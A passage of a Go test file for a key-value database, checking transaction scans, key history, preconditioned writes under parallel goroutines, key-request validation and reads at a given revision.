&schema.VerifiableTxRequest{\n\t\t\tTx:           txhdr.Id,\n\t\t\tProveSinceTx: 0,\n\t\t})\n\t\trequire.NoError(t, err)\n\t\trequire.NotNil(t, vtx)\n\t\trequire.Len(t, vtx.Tx.Entries, 1)\n\t\trequire.Len(t, vtx.Tx.Entries[0].Value, 0)\n\t})\n}\n\nfunc TestTxScan(t *testing.T) {\n\tdb := makeDb(t)\n\n\tdb.maxResultSize = len(kvs)\n\n\tinitialState, err := db.CurrentState()\n\trequire.NoError(t, err)\n\n\tfor _, val := range kvs {\n\t\t_, err := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: val.Key, Value: val.Value}}})\n\t\trequire.NoError(t, err)\n\t}\n\n\t_, err = db.TxScan(context.Background(), nil)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\t_, err = db.TxScan(context.Background(), &schema.TxScanRequest{\n\t\tInitialTx: 0,\n\t})\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\t_, err = db.TxScan(context.Background(), &schema.TxScanRequest{\n\t\tInitialTx: 1,\n\t\tLimit:     uint32(db.MaxResultSize() + 1),\n\t})\n\trequire.ErrorIs(t, err, ErrResultSizeLimitExceeded)\n\n\tt.Run(\"values should be returned reaching result size limit\", func(t *testing.T) {\n\t\ttxList, err := db.TxScan(context.Background(), &schema.TxScanRequest{\n\t\t\tInitialTx: initialState.TxId + 1,\n\t\t\tEntriesSpec: &schema.EntriesSpec{\n\t\t\t\tKvEntriesSpec: &schema.EntryTypeSpec{\n\t\t\t\t\tAction: schema.EntryTypeAction_RAW_VALUE,\n\t\t\t\t},\n\t\t\t},\n\t\t})\n\t\trequire.NoError(t, err)\n\t\trequire.Len(t, txList.Txs, len(kvs))\n\n\t\tfor i := 0; i < len(kvs); i++ {\n\t\t\trequire.Equal(t, kvs[i].Key, TrimPrefix(txList.Txs[i].Entries[0].Key))\n\n\t\t\thval := sha256.Sum256(txList.Txs[i].Entries[0].Value)\n\t\t\trequire.Equal(t, txList.Txs[i].Entries[0].HValue, hval[:])\n\t\t}\n\t})\n\n\tt.Run(\"values should be returned without reaching result size limit\", func(t *testing.T) {\n\t\tlimit := db.MaxResultSize() - 1\n\n\t\ttxList, err := db.TxScan(context.Background(), &schema.TxScanRequest{\n\t\t\tInitialTx: initialState.TxId + 1,\n\t\t\tLimit:     uint32(limit),\n\t\t\tEntriesSpec: &schema.EntriesSpec{\n\t\t\t\tKvEntriesSpec: &schema.EntryTypeSpec{\n\t\t\t\t\tAction: schema.EntryTypeAction_RAW_VALUE,\n\t\t\t\t},\n\t\t\t},\n\t\t})\n\t\trequire.NoError(t, err)\n\t\trequire.Len(t, txList.Txs, limit)\n\n\t\tfor i := 0; i < limit; i++ {\n\t\t\trequire.Equal(t, kvs[i].Key, TrimPrefix(txList.Txs[i].Entries[0].Key))\n\n\t\t\thval := sha256.Sum256(txList.Txs[i].Entries[0].Value)\n\t\t\trequire.Equal(t, txList.Txs[i].Entries[0].HValue, hval[:])\n\t\t}\n\t})\n\n\tt.Run(\"values should not be returned\", func(t *testing.T) {\n\t\ttxList, err := db.TxScan(context.Background(), &schema.TxScanRequest{\n\t\t\tInitialTx: initialState.TxId + 1,\n\t\t})\n\t\trequire.NoError(t, err)\n\t\trequire.Len(t, txList.Txs, len(kvs))\n\n\t\tfor i := 0; i < len(kvs); i++ {\n\t\t\trequire.Equal(t, kvs[i].Key, TrimPrefix(txList.Txs[i].Entries[0].Key))\n\t\t\trequire.Len(t, txList.Txs[i].Entries[0].Value, 0)\n\t\t}\n\t})\n}\n\nfunc TestHistory(t *testing.T) {\n\tdb := makeDb(t)\n\n\tdb.maxResultSize = 2\n\n\tvar lastTx uint64\n\n\tfor _, val := range kvs {\n\t\t_, err := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: val.Key, Value: val.Value}}})\n\t\trequire.NoError(t, err)\n\t}\n\n\terr := db.FlushIndex(nil)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\terr = db.FlushIndex(&schema.FlushIndexRequest{CleanupPercentage: 100, Synced: true})\n\trequire.NoError(t, err)\n\n\t_, err = db.Delete(context.Background(), &schema.DeleteKeysRequest{Keys: [][]byte{kvs[0].Key}})\n\trequire.NoError(t, err)\n\n\tmeta, err := db.Set(context.Background(), &schema.SetRequest{\n\t\tKVs: []*schema.KeyValue{{\n\t\t\tKey:   kvs[0].Key,\n\t\t\tValue: kvs[0].Value,\n\t\t}},\n\t})\n\trequire.NoError(t, err)\n\tlastTx = meta.Id\n\n\ttime.Sleep(1 * time.Millisecond)\n\n\t_, err = db.History(context.Background(), nil)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\t_, err = db.History(context.Background(), &schema.HistoryRequest{\n\t\tKey:     kvs[0].Key,\n\t\tSinceTx: lastTx,\n\t\tLimit:   int32(db.MaxResultSize() + 1),\n\t})\n\trequire.ErrorIs(t, err, ErrResultSizeLimitExceeded)\n\n\tinc, err := db.History(context.Background(), &schema.HistoryRequest{\n\t\tKey:     kvs[0].Key,\n\t\tSinceTx: lastTx,\n\t})\n\trequire.NoError(t, err)\n\n\tfor i, val := range inc.Entries {\n\t\trequire.Equal(t, kvs[0].Key, val.Key)\n\t\tif val.GetMetadata().GetDeleted() {\n\t\t\trequire.Empty(t, val.Value)\n\t\t} else {\n\t\t\trequire.Equal(t, kvs[0].Value, val.Value)\n\t\t}\n\t\trequire.EqualValues(t, i+1, val.Revision)\n\t}\n\n\tdec, err := db.History(context.Background(), &schema.HistoryRequest{\n\t\tKey:     kvs[0].Key,\n\t\tSinceTx: lastTx,\n\t\tDesc:    true,\n\t})\n\trequire.NoError(t, err)\n\n\tfor i, val := range dec.Entries {\n\t\trequire.Equal(t, kvs[0].Key, val.Key)\n\t\tif val.GetMetadata().GetDeleted() {\n\t\t\trequire.Empty(t, val.Value)\n\t\t} else {\n\t\t\trequire.Equal(t, kvs[0].Value, val.Value)\n\t\t}\n\t\trequire.EqualValues(t, 3-i, val.Revision)\n\t}\n\n\tinc, err = db.History(context.Background(), &schema.HistoryRequest{\n\t\tKey:     kvs[0].Key,\n\t\tOffset:  uint64(len(kvs) + 1),\n\t\tSinceTx: lastTx,\n\t})\n\trequire.NoError(t, err)\n\trequire.Empty(t, inc.Entries)\n}\n\nfunc TestPreconditionedSet(t *testing.T) {\n\tdb := makeDb(t)\n\n\t_, err := db.Set(context.Background(), &schema.SetRequest{\n\t\tKVs: []*schema.KeyValue{{\n\t\t\tKey:   []byte(\"key-no-preconditions\"),\n\t\t\tValue: []byte(\"value\"),\n\t\t}},\n\t})\n\trequire.NoError(t, err, \"could not set a value without preconditions\")\n\n\t_, err = db.Set(context.Background(), &schema.SetRequest{\n\t\tKVs: []*schema.KeyValue{{\n\t\t\tKey:   []byte(\"key\"),\n\t\t\tValue: []byte(\"value\"),\n\t\t}},\n\t\tPreconditions: []*schema.Precondition{\n\t\t\tschema.PreconditionKeyMustExist([]byte(\"key\")),\n\t\t},\n\t})\n\trequire.ErrorIs(t, err, store.ErrPreconditionFailed,\n\t\t\"did not detect missing key when MustExist precondition was present\")\n\n\ttx1, err := db.Set(context.Background(), &schema.SetRequest{\n\t\tKVs: []*schema.KeyValue{{\n\t\t\tKey:   []byte(\"key\"),\n\t\t\tValue: []byte(\"value\"),\n\t\t}},\n\t\tPreconditions: []*schema.Precondition{\n\t\t\tschema.PreconditionKeyMustNotExist([]byte(\"key\")),\n\t\t},\n\t})\n\trequire.NoError(t, err,\n\t\t\"failed to add a key with MustNotExist precondition even though the key does not exist\")\n\n\t_, err = db.Set(context.Background(), &schema.SetRequest{\n\t\tKVs: []*schema.KeyValue{{\n\t\t\tKey:   []byte(\"key\"),\n\t\t\tValue: []byte(\"value\"),\n\t\t}},\n\t\tPreconditions: []*schema.Precondition{\n\t\t\tschema.PreconditionKeyMustNotExist([]byte(\"key\")),\n\t\t},\n\t})\n\trequire.ErrorIs(t, err, store.ErrPreconditionFailed,\n\t\t\"did not detect existing key even though MustNotExist precondition was used\")\n\n\ttx2, err := db.Set(context.Background(), &schema.SetRequest{\n\t\tKVs: []*schema.KeyValue{{\n\t\t\tKey:   []byte(\"key\"),\n\t\t\tValue: []byte(\"value\"),\n\t\t}},\n\t\tPreconditions: []*schema.Precondition{\n\t\t\tschema.PreconditionKeyMustExist([]byte(\"key\")),\n\t\t},\n\t})\n\trequire.NoError(t, err,\n\t\t\"did not add a key even though MustExist precondition was successful\")\n\n\t_, err = db.Set(context.Background(), &schema.SetRequest{\n\t\tKVs: []*schema.KeyValue{{\n\t\t\tKey:   []byte(\"key\"),\n\t\t\tValue: []byte(\"value\"),\n\t\t}},\n\t\tPreconditions: []*schema.Precondition{\n\t\t\tschema.PreconditionKeyNotModifiedAfterTX([]byte(\"key\"), tx1.Id),\n\t\t},\n\t})\n\trequire.ErrorIs(t, err, store.ErrPreconditionFailed,\n\t\t\"did not detect NotModifiedAfterTX precondition\")\n\n\t_, err = db.Set(context.Background(), &schema.SetRequest{\n\t\tKVs: []*schema.KeyValue{{\n\t\t\tKey:   []byte(\"key\"),\n\t\t\tValue: []byte(\"value\"),\n\t\t}},\n\t\tPreconditions: []*schema.Precondition{\n\t\t\tschema.PreconditionKeyNotModifiedAfterTX([]byte(\"key\"), tx2.Id),\n\t\t},\n\t})\n\trequire.NoError(t, err,\n\t\t\"did not add valid entry with NotModifiedAfterTX precondition\")\n\n\t_, err = db.Set(context.Background(), &schema.SetRequest{\n\t\tKVs: []*schema.KeyValue{{\n\t\t\tKey:   []byte(\"key\"),\n\t\t\tValue: []byte(\"value\"),\n\t\t}},\n\t\tPreconditions: []*schema.Precondition{\n\t\t\tschema.PreconditionKeyNotModifiedAfterTX([]byte(\"key\"), tx2.Id),\n\t\t},\n\t})\n\trequire.ErrorIs(t, err, store.ErrPreconditionFailed,\n\t\t\"did not detect failed NotModifiedAfterTX precondition after new entry was added\")\n\n\t_, err = db.Set(context.Background(), &schema.SetRequest{\n\t\tKVs: []*schema.KeyValue{{\n\t\t\tKey:   []byte(\"key2\"),\n\t\t\tValue: []byte(\"value\"),\n\t\t}},\n\t\tPreconditions: []*schema.Precondition{\n\t\t\tschema.PreconditionKeyNotModifiedAfterTX([]byte(\"key2\"), tx2.Id),\n\t\t},\n\t})\n\trequire.NoError(t, err,\n\t\t\"did not add entry with NotModifiedAfterTX precondition when the key does not exist\")\n\n\t_, err = db.Set(context.Background(), &schema.SetRequest{\n\t\tKVs: []*schema.KeyValue{{\n\t\t\tKey:   []byte(\"key3\"),\n\t\t\tValue: []byte(\"value\"),\n\t\t}},\n\t\tPreconditions: []*schema.Precondition{\n\t\t\tschema.PreconditionKeyMustExist([]byte(\"key3\")),\n\t\t\tschema.PreconditionKeyNotModifiedAfterTX([]byte(\"key3\"), tx2.Id),\n\t\t},\n\t})\n\trequire.ErrorIs(t, err, store.ErrPreconditionFailed,\n\t\t\"did not detect failed mix of NotModifiedAfterTX and MustExist preconditions when the key does not exist\")\n\n\t_, err = db.Set(context.Background(), &schema.SetRequest{\n\t\tKVs: []*schema.KeyValue{{\n\t\t\tKey:   []byte(\"key3\"),\n\t\t\tValue: []byte(\"value\"),\n\t\t}},\n\t\tPreconditions: []*schema.Precondition{\n\t\t\tschema.PreconditionKeyMustExist([]byte(\"key3\")),\n\t\t\tschema.PreconditionKeyMustNotExist([]byte(\"key3\")),\n\t\t},\n\t})\n\trequire.ErrorIs(t, err, store.ErrPreconditionFailed,\n\t\t\"did not detect failed mix of MustNotExist and MustExist preconditions when the key does not exist\")\n\n\t_, err = db.Set(context.Background(), &schema.SetRequest{\n\t\tKVs: []*schema.KeyValue{\n\t\t\t{\n\t\t\t\tKey:   []byte(\"key4-no-preconditions\"),\n\t\t\t\tValue: []byte(\"value\"),\n\t\t\t},\n\t\t\t{\n\t\t\t\tKey:   []byte(\"key5-with-preconditions\"),\n\t\t\t\tValue: []byte(\"value\"),\n\t\t\t},\n\t\t},\n\t\tPreconditions: []*schema.Precondition{\n\t\t\tschema.PreconditionKeyMustExist([]byte(\"key5-with-preconditions\")),\n\t\t},\n\t})\n\trequire.ErrorIs(t, err, store.ErrPreconditionFailed,\n\t\t\"did not fail even though one of KV entries failed precondition check\")\n\n\t_, err = db.Set(context.Background(), &schema.SetRequest{\n\t\tKVs: []*schema.KeyValue{\n\t\t\t{\n\t\t\t\tKey:   []byte(\"key4-no-preconditions\"),\n\t\t\t\tValue: []byte(\"value\"),\n\t\t\t},\n\t\t},\n\t\tPreconditions: []*schema.Precondition{nil},\n\t})\n\trequire.ErrorIs(t, err, store.ErrInvalidPrecondition,\n\t\t\"did not fail when invalid nil precondition was given\")\n\n\t_, err = db.Set(context.Background(), &schema.SetRequest{\n\t\tKVs: []*schema.KeyValue{\n\t\t\t{\n\t\t\t\tKey:   []byte(\"key6\"),\n\t\t\t\tValue: []byte(\"value\"),\n\t\t\t},\n\t\t},\n\t\tPreconditions: []*schema.Precondition{\n\t\t\tschema.PreconditionKeyMustNotExist(\n\t\t\t\t[]byte(\"key6-too-long-key\" + strings.Repeat(\"*\", db.GetOptions().storeOpts.MaxKeyLen)),\n\t\t\t),\n\t\t},\n\t})\n\trequire.ErrorIs(t, err, store.ErrInvalidPrecondition,\n\t\t\"did not fail when invalid nil precondition was given\")\n\n\tc := []*schema.Precondition{}\n\tfor i := 0; i <= db.GetOptions().storeOpts.MaxTxEntries; i++ {\n\t\tc = append(c, schema.PreconditionKeyMustNotExist([]byte(fmt.Sprintf(\"key_%d\", i))))\n\t}\n\n\t_, err = db.Set(context.Background(), &schema.SetRequest{\n\t\tKVs: []*schema.KeyValue{\n\t\t\t{\n\t\t\t\tKey:   []byte(\"key6\"),\n\t\t\t\tValue: []byte(\"value\"),\n\t\t\t},\n\t\t},\n\t\tPreconditions: c,\n\t})\n\trequire.ErrorIs(t, err, store.ErrInvalidPrecondition,\n\t\t\"did not fail when too many preconditions were given\")\n}\n\nfunc TestPreconditionedSetParallel(t *testing.T) {\n\tdb := makeDb(t)\n\n\tconst parallelism = 10\n\n\trunInParallel := func(f func(i int) error) (failCount int32, successCount int32, badErrorCount int32) {\n\t\tvar wg, wg2 sync.WaitGroup\n\t\twg.Add(parallelism)\n\t\twg2.Add(parallelism)\n\n\t\tfor i := 0; i < parallelism; i++ {\n\t\t\tgo func(i int) {\n\t\t\t\tdefer wg2.Done()\n\n\t\t\t\t// Sync all goroutines to a single point\n\t\t\t\twg.Done()\n\t\t\t\twg.Wait()\n\n\t\t\t\terr := f(i)\n\n\t\t\t\tif err == nil {\n\t\t\t\t\tatomic.AddInt32(&successCount, 1)\n\t\t\t\t} else if errors.Is(err, store.ErrPreconditionFailed) {\n\t\t\t\t\tatomic.AddInt32(&failCount, 1)\n\t\t\t\t} else {\n\t\t\t\t\tlog.Println(err)\n\t\t\t\t\tatomic.AddInt32(&badErrorCount, 1)\n\t\t\t\t}\n\t\t\t}(i)\n\t\t}\n\n\t\twg2.Wait()\n\n\t\treturn failCount, successCount, badErrorCount\n\t}\n\n\tt.Run(\"Set\", func(t *testing.T) {\n\n\t\tt.Run(\"MustNotExist\", func(t *testing.T) {\n\n\t\t\tvar wg, wg2 sync.WaitGroup\n\t\t\twg.Add(parallelism)\n\t\t\twg2.Add(parallelism)\n\n\t\t\tfailCount, successCount, badError := runInParallel(func(i int) error {\n\t\t\t\t_, err := db.Set(context.Background(), &schema.SetRequest{\n\t\t\t\t\tKVs: []*schema.KeyValue{{\n\t\t\t\t\t\tKey:   []byte(`key`),\n\t\t\t\t\t\tValue: []byte(fmt.Sprintf(\"goroutine: %d\", i)),\n\t\t\t\t\t}},\n\t\t\t\t\tPreconditions: []*schema.Precondition{\n\t\t\t\t\t\tschema.PreconditionKeyMustNotExist([]byte(`key`)),\n\t\t\t\t\t},\n\t\t\t\t})\n\t\t\t\treturn err\n\t\t\t})\n\n\t\t\trequire.EqualValues(t, 1, successCount)\n\t\t\trequire.EqualValues(t, parallelism-1, failCount)\n\t\t\trequire.Zero(t, badError)\n\t\t})\n\n\t\tt.Run(\"MustExist\", func(t *testing.T) {\n\n\t\t\tfailCount, successCount, badError := runInParallel(func(i int) error {\n\t\t\t\t_, err := db.Set(context.Background(), &schema.SetRequest{\n\t\t\t\t\tKVs: []*schema.KeyValue{{\n\t\t\t\t\t\tKey:   []byte(`key`),\n\t\t\t\t\t\tValue: []byte(fmt.Sprintf(\"goroutine: %d\", i)),\n\t\t\t\t\t}},\n\t\t\t\t\tPreconditions: []*schema.Precondition{\n\t\t\t\t\t\tschema.PreconditionKeyMustExist([]byte(`key`)),\n\t\t\t\t\t},\n\t\t\t\t})\n\t\t\t\treturn err\n\t\t\t})\n\n\t\t\trequire.EqualValues(t, parallelism, successCount)\n\t\t\trequire.Zero(t, failCount)\n\t\t\trequire.Zero(t, badError)\n\t\t})\n\n\t\tt.Run(\"NotModifiedAfterTX\", func(t *testing.T) {\n\n\t\t\ttx, err := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{\n\t\t\t\tKey:   []byte(`key`),\n\t\t\t\tValue: []byte(`base value`),\n\t\t\t}}})\n\t\t\trequire.NoError(t, err)\n\n\t\t\tfailCount, successCount, badError := runInParallel(func(i int) error {\n\t\t\t\t_, err := db.Set(context.Background(), &schema.SetRequest{\n\t\t\t\t\tKVs: []*schema.KeyValue{{\n\t\t\t\t\t\tKey:   []byte(`key`),\n\t\t\t\t\t\tValue: []byte(fmt.Sprintf(\"goroutine: %d\", i)),\n\t\t\t\t\t}},\n\t\t\t\t\tPreconditions: []*schema.Precondition{\n\t\t\t\t\t\tschema.PreconditionKeyNotModifiedAfterTX([]byte(`key`), tx.Id),\n\t\t\t\t\t},\n\t\t\t\t})\n\t\t\t\treturn err\n\t\t\t})\n\n\t\t\trequire.EqualValues(t, 1, successCount)\n\t\t\trequire.EqualValues(t, parallelism-1, failCount)\n\t\t\trequire.Zero(t, badError)\n\t\t})\n\t})\n\n\tt.Run(\"Reference\", func(t *testing.T) {\n\n\t\tt.Run(\"MustNotExist\", func(t *testing.T) {\n\n\t\t\tvar wg, wg2 sync.WaitGroup\n\t\t\twg.Add(parallelism)\n\t\t\twg2.Add(parallelism)\n\n\t\t\tfailCount, successCount, badError := runInParallel(func(i int) error {\n\t\t\t\t_, err := db.SetReference(context.Background(), &schema.ReferenceRequest{\n\t\t\t\t\tKey:           []byte(`reference`),\n\t\t\t\t\tReferencedKey: []byte(`key`),\n\t\t\t\t\tPreconditions: []*schema.Precondition{\n\t\t\t\t\t\tschema.PreconditionKeyMustNotExist([]byte(`reference`)),\n\t\t\t\t\t},\n\t\t\t\t})\n\t\t\t\treturn err\n\t\t\t})\n\n\t\t\trequire.EqualValues(t, 1, successCount)\n\t\t\trequire.EqualValues(t, parallelism-1, failCount)\n\t\t\trequire.Zero(t, badError)\n\t\t})\n\n\t\tt.Run(\"MustExist\", func(t *testing.T) {\n\n\t\t\tfailCount, successCount, badError := runInParallel(func(i int) error {\n\t\t\t\t_, err := db.SetReference(context.Background(), &schema.ReferenceRequest{\n\t\t\t\t\tKey:           []byte(`reference`),\n\t\t\t\t\tReferencedKey: []byte(`key`),\n\t\t\t\t\tPreconditions: []*schema.Precondition{\n\t\t\t\t\t\tschema.PreconditionKeyMustExist([]byte(`reference`)),\n\t\t\t\t\t},\n\t\t\t\t})\n\t\t\t\treturn err\n\t\t\t})\n\n\t\t\trequire.EqualValues(t, parallelism, successCount)\n\t\t\trequire.Zero(t, failCount)\n\t\t\trequire.Zero(t, badError)\n\t\t})\n\n\t\tt.Run(\"NotModifiedAfterTX\", func(t *testing.T) {\n\n\t\t\ttx, err := db.SetReference(context.Background(), &schema.ReferenceRequest{\n\t\t\t\tKey:           []byte(`reference`),\n\t\t\t\tReferencedKey: []byte(`key`),\n\t\t\t})\n\t\t\trequire.NoError(t, err)\n\n\t\t\tfailCount, successCount, badError := runInParallel(func(i int) error {\n\t\t\t\t_, err := db.SetReference(context.Background(), &schema.ReferenceRequest{\n\t\t\t\t\tKey:           []byte(`reference`),\n\t\t\t\t\tReferencedKey: []byte(`key`),\n\t\t\t\t\tPreconditions: []*schema.Precondition{\n\t\t\t\t\t\tschema.PreconditionKeyNotModifiedAfterTX([]byte(`reference`), tx.Id),\n\t\t\t\t\t},\n\t\t\t\t})\n\t\t\t\treturn err\n\t\t\t})\n\n\t\t\trequire.EqualValues(t, 1, successCount)\n\t\t\trequire.EqualValues(t, parallelism-1, failCount)\n\t\t\trequire.Zero(t, badError)\n\t\t})\n\t})\n\n\tt.Run(\"ExecAll-KV\", func(t *testing.T) {\n\n\t\tt.Run(\"MustNotExist\", func(t *testing.T) {\n\n\t\t\tvar wg, wg2 sync.WaitGroup\n\t\t\twg.Add(parallelism)\n\t\t\twg2.Add(parallelism)\n\n\t\t\tfailCount, successCount, badError := runInParallel(func(i int) error {\n\t\t\t\t_, err := db.ExecAll(context.Background(), &schema.ExecAllRequest{\n\t\t\t\t\tOperations: []*schema.Op{{\n\t\t\t\t\t\tOperation: &schema.Op_Kv{\n\t\t\t\t\t\t\tKv: &schema.KeyValue{\n\t\t\t\t\t\t\t\tKey:   []byte(`key-ea`),\n\t\t\t\t\t\t\t\tValue: []byte(fmt.Sprintf(\"goroutine: %d\", i)),\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t},\n\t\t\t\t\t}},\n\t\t\t\t\tPreconditions: []*schema.Precondition{\n\t\t\t\t\t\tschema.PreconditionKeyMustNotExist([]byte(`key-ea`)),\n\t\t\t\t\t},\n\t\t\t\t})\n\t\t\t\treturn err\n\t\t\t})\n\n\t\t\trequire.EqualValues(t, 1, successCount)\n\t\t\trequire.EqualValues(t, parallelism-1, failCount)\n\t\t\trequire.Zero(t, badError)\n\t\t})\n\n\t\tt.Run(\"MustExist\", func(t *testing.T) {\n\n\t\t\tfailCount, successCount, badError := runInParallel(func(i int) error {\n\t\t\t\t_, err := db.ExecAll(context.Background(), &schema.ExecAllRequest{\n\t\t\t\t\tOperations: []*schema.Op{{\n\t\t\t\t\t\tOperation: &schema.Op_Kv{\n\t\t\t\t\t\t\tKv: &schema.KeyValue{\n\t\t\t\t\t\t\t\tKey:   []byte(`key-ea`),\n\t\t\t\t\t\t\t\tValue: []byte(fmt.Sprintf(\"goroutine: %d\", i)),\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t},\n\t\t\t\t\t}},\n\t\t\t\t\tPreconditions: []*schema.Precondition{\n\t\t\t\t\t\tschema.PreconditionKeyMustExist([]byte(`key-ea`)),\n\t\t\t\t\t},\n\t\t\t\t})\n\t\t\t\treturn err\n\t\t\t})\n\n\t\t\trequire.EqualValues(t, parallelism, successCount)\n\t\t\trequire.Zero(t, failCount)\n\t\t\trequire.Zero(t, badError)\n\t\t})\n\n\t\tt.Run(\"NotModifiedAfterTX\", func(t *testing.T) {\n\n\t\t\ttx, err := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{\n\t\t\t\tKey:   []byte(`key-ea`),\n\t\t\t\tValue: []byte(`base value`),\n\t\t\t}}})\n\t\t\trequire.NoError(t, err)\n\n\t\t\tfailCount, successCount, badError := runInParallel(func(i int) error {\n\t\t\t\t_, err := db.ExecAll(context.Background(), &schema.ExecAllRequest{\n\t\t\t\t\tOperations: []*schema.Op{{\n\t\t\t\t\t\tOperation: &schema.Op_Kv{\n\t\t\t\t\t\t\tKv: &schema.KeyValue{\n\t\t\t\t\t\t\t\tKey:   []byte(`key-ea`),\n\t\t\t\t\t\t\t\tValue: []byte(fmt.Sprintf(\"goroutine: %d\", i)),\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t},\n\t\t\t\t\t}},\n\t\t\t\t\tPreconditions: []*schema.Precondition{\n\t\t\t\t\t\tschema.PreconditionKeyNotModifiedAfterTX([]byte(`key-ea`), tx.Id),\n\t\t\t\t\t},\n\t\t\t\t})\n\t\t\t\treturn err\n\t\t\t})\n\n\t\t\trequire.EqualValues(t, 1, successCount)\n\t\t\trequire.EqualValues(t, parallelism-1, failCount)\n\t\t\trequire.Zero(t, badError)\n\t\t})\n\t})\n\n\tt.Run(\"ExecAll-Ref\", func(t *testing.T) {\n\n\t\tt.Run(\"MustNotExist\", func(t *testing.T) {\n\n\t\t\tvar wg, wg2 sync.WaitGroup\n\t\t\twg.Add(parallelism)\n\t\t\twg2.Add(parallelism)\n\n\t\t\tfailCount, successCount, badError := runInParallel(func(i int) error {\n\t\t\t\t_, err := db.ExecAll(context.Background(), &schema.ExecAllRequest{\n\t\t\t\t\tOperations: []*schema.Op{{\n\t\t\t\t\t\tOperation: &schema.Op_Ref{\n\t\t\t\t\t\t\tRef: &schema.ReferenceRequest{\n\t\t\t\t\t\t\t\tKey:           []byte(`reference-ea`),\n\t\t\t\t\t\t\t\tReferencedKey: []byte(`key-ea`),\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t},\n\t\t\t\t\t}},\n\t\t\t\t\tPreconditions: []*schema.Precondition{\n\t\t\t\t\t\tschema.PreconditionKeyMustNotExist([]byte(`reference-ea`)),\n\t\t\t\t\t},\n\t\t\t\t})\n\t\t\t\treturn err\n\t\t\t})\n\n\t\t\trequire.EqualValues(t, 1, successCount)\n\t\t\trequire.EqualValues(t, parallelism-1, failCount)\n\t\t\trequire.Zero(t, badError)\n\t\t})\n\n\t\tt.Run(\"MustExist\", func(t *testing.T) {\n\n\t\t\tfailCount, successCount, badError := runInParallel(func(i int) error {\n\t\t\t\t_, err := db.ExecAll(context.Background(), &schema.ExecAllRequest{\n\t\t\t\t\tOperations: []*schema.Op{{\n\t\t\t\t\t\tOperation: &schema.Op_Ref{\n\t\t\t\t\t\t\tRef: &schema.ReferenceRequest{\n\t\t\t\t\t\t\t\tKey:           []byte(`reference-ea`),\n\t\t\t\t\t\t\t\tReferencedKey: []byte(`key-ea`),\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t},\n\t\t\t\t\t}},\n\t\t\t\t\tPreconditions: []*schema.Precondition{\n\t\t\t\t\t\tschema.PreconditionKeyMustExist([]byte(`reference-ea`)),\n\t\t\t\t\t},\n\t\t\t\t})\n\t\t\t\treturn err\n\t\t\t})\n\n\t\t\trequire.EqualValues(t, parallelism, successCount)\n\t\t\trequire.Zero(t, failCount)\n\t\t\trequire.Zero(t, badError)\n\t\t})\n\n\t\tt.Run(\"NotModifiedAfterTX\", func(t *testing.T) {\n\n\t\t\ttx, err := db.SetReference(context.Background(), &schema.ReferenceRequest{\n\t\t\t\tKey:           []byte(`reference-ea`),\n\t\t\t\tReferencedKey: []byte(`key-ea`),\n\t\t\t})\n\t\t\trequire.NoError(t, err)\n\n\t\t\tfailCount, successCount, badError := runInParallel(func(i int) error {\n\t\t\t\t_, err := db.ExecAll(context.Background(), &schema.ExecAllRequest{\n\t\t\t\t\tOperations: []*schema.Op{{\n\t\t\t\t\t\tOperation: &schema.Op_Ref{\n\t\t\t\t\t\t\tRef: &schema.ReferenceRequest{\n\t\t\t\t\t\t\t\tKey:           []byte(`reference-ea`),\n\t\t\t\t\t\t\t\tReferencedKey: []byte(`key-ea`),\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t},\n\t\t\t\t\t}},\n\t\t\t\t\tPreconditions: []*schema.Precondition{\n\t\t\t\t\t\tschema.PreconditionKeyNotModifiedAfterTX([]byte(`reference-ea`), tx.Id),\n\t\t\t\t\t},\n\t\t\t\t})\n\t\t\t\treturn err\n\t\t\t})\n\n\t\t\trequire.EqualValues(t, 1, successCount)\n\t\t\trequire.EqualValues(t, parallelism-1, failCount)\n\t\t\trequire.Zero(t, badError)\n\t\t})\n\t})\n\n}\n\nfunc TestCheckInvalidKeyRequest(t *testing.T) {\n\tfor _, d := range []struct {\n\t\treq         *schema.KeyRequest\n\t\terrTextPart string\n\t}{\n\t\t{\n\t\t\tnil, \"empty request\",\n\t\t},\n\t\t{\n\t\t\t&schema.KeyRequest{}, \"empty key\",\n\t\t},\n\t\t{\n\t\t\t&schema.KeyRequest{\n\t\t\t\tKey:     []byte(\"test\"),\n\t\t\t\tAtTx:    1,\n\t\t\t\tSinceTx: 2,\n\t\t\t},\n\t\t\t\"SinceTx should not be specified when AtTx is used\",\n\t\t},\n\t\t{\n\t\t\t&schema.KeyRequest{\n\t\t\t\tKey:        []byte(\"test\"),\n\t\t\t\tAtTx:       1,\n\t\t\t\tAtRevision: 2,\n\t\t\t},\n\t\t\t\"AtRevision should not be specified when AtTx is used\",\n\t\t},\n\t} {\n\t\tt.Run(fmt.Sprintf(\"%+v\", d), func(t *testing.T) {\n\t\t\terr := checkKeyRequest(d.req)\n\t\t\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\t\t\trequire.Contains(t, err.Error(), d.errTextPart)\n\t\t})\n\t}\n}\n\nfunc TestGetAtRevision(t *testing.T) {\n\tdb := makeDb(t)\n\n\tconst histCount = 10\n\n\tfor i := 0; i < histCount; i++ {\n\t\t_, err := db.Set(context.Background(), &schema.SetRequest{\n\t\t\tKVs: []*schema.KeyValue{{\n\t\t\t\tKey:   []byte(\"key\"),\n\t\t\t\tValue: []byte(fmt.Sprintf(\"value%d\", i)),\n\t\t\t}},\n\t\t})\n\t\trequire.NoError(t, err)\n\t}\n\n\tt.Run(\"get the most recent value if no revision is specified\", func(t *testing.T) {\n\t\tk, err := db.Get(context.Background(), &schema.KeyRequest{\n\t\t\tKey: []byte(\"key\"),\n\t\t})\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, []byte(\"value9\"), k.Value)\n\t})\n\n\tt.Run(\"get correct values for positive revision numbers\", func(t *testing.T) {\n\t\tfor i := 0; i < histCount; i++ {\n\t\t\tk, err := db.Get(context.Background(), 